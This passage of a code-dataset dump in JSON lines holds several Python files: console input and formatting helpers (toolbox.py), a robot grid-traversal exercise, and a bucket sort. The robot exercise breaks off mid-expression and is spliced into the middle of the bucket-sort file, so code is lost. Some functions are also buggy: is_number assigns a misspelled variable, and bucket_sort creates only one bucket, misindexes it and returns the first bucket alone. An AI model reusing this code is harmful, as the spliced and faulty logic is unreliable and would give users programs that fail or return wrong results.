put_event(schema, event_id)\n \n\n \n\n","sub_path":"es_scripts/nps.py","file_name":"nps.py","file_ext":"py","file_size_in_byte":8819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"557306956","text":"def get_number(prompt):\n \"\"\"Give the user a prompt and get a number from the user.\"\"\"\n number = input(prompt)\n while number.isalpha():\n prompt = \"\"\"***You cannot enter letters.\nEnter a new number. \"\"\"\n number = input(prompt)\n number = float(number)\n return number\n\n\ndef get_integer(prompt):\n \"\"\"Gets an integer from the user.\"\"\"\n myInteger = input(prompt)\n while not is_integer(myInteger):\n print(\"Integers only please.\")\n myInteger = input(prompt)\n myInteger = int(myInteger)\n return myInteger\n\n\ndef is_integer(testValue):\n \"\"\"Returns True if testValue is an integer and False otherwise.\"\"\"\n isInteger = True\n charactersDone = 0\n currentCharacter = 0\n positiveNegative = 0\n decimal = 0\n\n testValueString = str(testValue)\n testValueString = testValueString.strip()\n totalCharacters = len(testValueString)\n\n if totalCharacters == 0:\n isInteger = False\n\n while charactersDone < totalCharacters:\n if testValueString[currentCharacter] not in '-+0123456789. ':\n isInteger = False\n if testValueString[currentCharacter] in ['.', ' '] and testValueString[totalCharacters - 1] not in ['.', '0',\n ' ']:\n isInteger = False\n if testValueString[currentCharacter] in [' ', '-', '+', '.'] and totalCharacters == 1:\n isInteger = False\n if testValueString[currentCharacter] in ['-', '+'] and currentCharacter != 0:\n isInteger = False\n if testValueString[currentCharacter] in ['-', '+']:\n positiveNegative = positiveNegative + 1\n if testValueString[currentCharacter] in ['.']:\n decimal = decimal + 1\n if positiveNegative > 1 or decimal > 1:\n isInteger = False\n currentCharacter = currentCharacter + 1\n charactersDone = charactersDone + 1\n return isInteger\n\n\ndef is_number(testValue):\n \"\"\"Returns True if testValue is an number and False otherwise.\"\"\"\n isNumber = True\n charactersDone = 0\n currentCharacter = 0\n positiveNegative = 0\n decimal = 0\n\n testValueString = str(testValue)\n testValueString = testValueString.strip()\n totalCharacters = len(testValueString)\n\n if totalCharacters == 0:\n isInteger = False\n\n while charactersDone < totalCharacters:\n if testValueString[currentCharacter] not in '-+0123456789. ':\n isNumber = False\n if testValueString[currentCharacter] in [' ', '-', '+', '.'] and totalCharacters == 1:\n isNumber = False\n if testValueString[currentCharacter] in ['-', '+'] and currentCharacter != 0:\n isNumber = False\n if testValueString[currentCharacter] in ['-', '+']:\n positiveNegative = positiveNegative + 1\n if testValueString[currentCharacter] in ['.']:\n decimal = decimal + 1\n if positiveNegative > 1 or decimal > 1:\n isNumber = False\n currentCharacter = currentCharacter + 1\n charactersDone = charactersDone + 1\n return isNumber\n\n\ndef get_positive_number(prompt):\n \"\"\"returns a positive number.\"\"\"\n number = get_number(prompt)\n while number < 0:\n print(\"You have to enter a positive value.\")\n number = get_number(prompt)\n return number\n\n\ndef get_integer_between(low, high, prompt=\"Enter an integer:\"):\n prompt += \" (\" + str(low) + \"-\" + str(high) + \")\"\n number = get_integer(prompt)\n while (number < low) or (number > high):\n number = get_integer(prompt)\n return number\n\n\ndef get_boolean(prompt):\n \"\"\"Returns a boolean for a yes or no question.\"\"\"\n response = input(prompt)\n response = response.lower()\n if response in ['yes', 'y', 'yep', 'sure', 'of course']:\n boolean = True\n elif response in ['no', 'nope', 'n', 'absolutely not']:\n boolean = False\n else:\n prompt = \"Do you mean yes? \"\n boolean = get_boolean(prompt)\n return boolean\n\n\ndef money(cost):\n \"\"\"Turn numbers into dollar amounts.\"\"\"\n cost = float(cost)\n #\n # Rounds the number to the hundreths\n #\n cost = round(cost, 2)\n cost = str(cost)\n if len(cost) > 1:\n #\n # Changes the way the number is displayed based on decimal placement\n #\n if cost[-3] == \".\":\n pass\n elif cost[-2] == \".\":\n cost = cost + \"0\"\n elif cost[-1] == \".\":\n cost = cost + \"00\"\n else:\n cost = cost + \".00\"\n else:\n cost = cost + \".00\"\n cost = \"$\" + cost\n return cost\n\n\ndef get_string(prompt):\n \"\"\"Get and return a non-empty string\"\"\"\n if prompt[-1] != \" \":\n prompt = prompt + \" \"\n string = input(prompt)\n while not string:\n if prompt[-31:] != \" (you have to enter something) \":\n prompt = prompt + \"(you have to enter something) \"\n string = input(prompt)\n return string\n\n\ndef print_separator(character, length=60):\n \"\"\"Prints length number of characters.\"\"\"\n string = (character[0] * int(length))\n print(string)\n\n\ndef print_centered(string, length=60, character=\" \"):\n \"\"\"Prints a string centered on a line of length length.\"\"\"\n stringLength = len(string)\n padding = int((length - stringLength) / 2)\n if padding > 0:\n centeredString = character[0] * padding + string + character[0] * padding\n else:\n centeredString = string[:length]\n print(centeredString)\n\n","sub_path":"toolbox.py","file_name":"toolbox.py","file_ext":"py","file_size_in_byte":5519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"308798751","text":"#! /usr/bin/env python3\n# -*- coding: utf-8 -*-\n# fileName : robot_path.py\n# author : zoujiameng@aliyun.com.cn\n\n# 地上有一个m行和n列的方格。一个机器人从坐标0,0的格子开始移动,每一次只能向左,右,上,下四个方向移动一格,但是不能进入行坐标和列坐标的数位之和大于k的格子。 \n# 例如,当k为18时,机器人能够进入方格(35,37),因为3+5+3+7 = 18。但是,它不能进入方格(35,38),因为3+5+3+8 = 19。请问该机器人能够达到多少个格子?\nclass Robot:\n\tdef movingCount(self, threshold, rows, cols):\n\t\t#\"产生 0 矩阵 \"\n\t\tboard=[[0 for i in range(cols)] for j in range(rows)]\n\t\tglobal acc\n\t\tacc = 0\n\t\t#\"下标之和,若大于threshold则TRUE,否则Folse\"\n\t\tdef block(r,c):\n\t\t s=sum(map(int,str(r)+str(c)))\n\t\t return s>threshold\n\t\tdef traverse(r,c):\n\t\t\tglobal acc\n\t\t\tif not (0<=r len(array):\n raise Exception(\"Incorrect bucket size\")\n\n buckets_num = math.ceil(len(array) / bucket_size)\n buckets = [[] * buckets_num]\n max_elem = max(array)\n\n for elem in array:\n bucket_index = math.floor(elem / (max_elem * bucket_size))\n buckets[bucket_index].append(elem)\n\n for i in range(0, len(buckets)):\n buckets[i] = bubble_sort(buckets[i])\n\n return [bucket for bucket in buckets][0]\n","sub_path":"algorithms/bucket_sort.py","file_name":"bucket_sort.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"}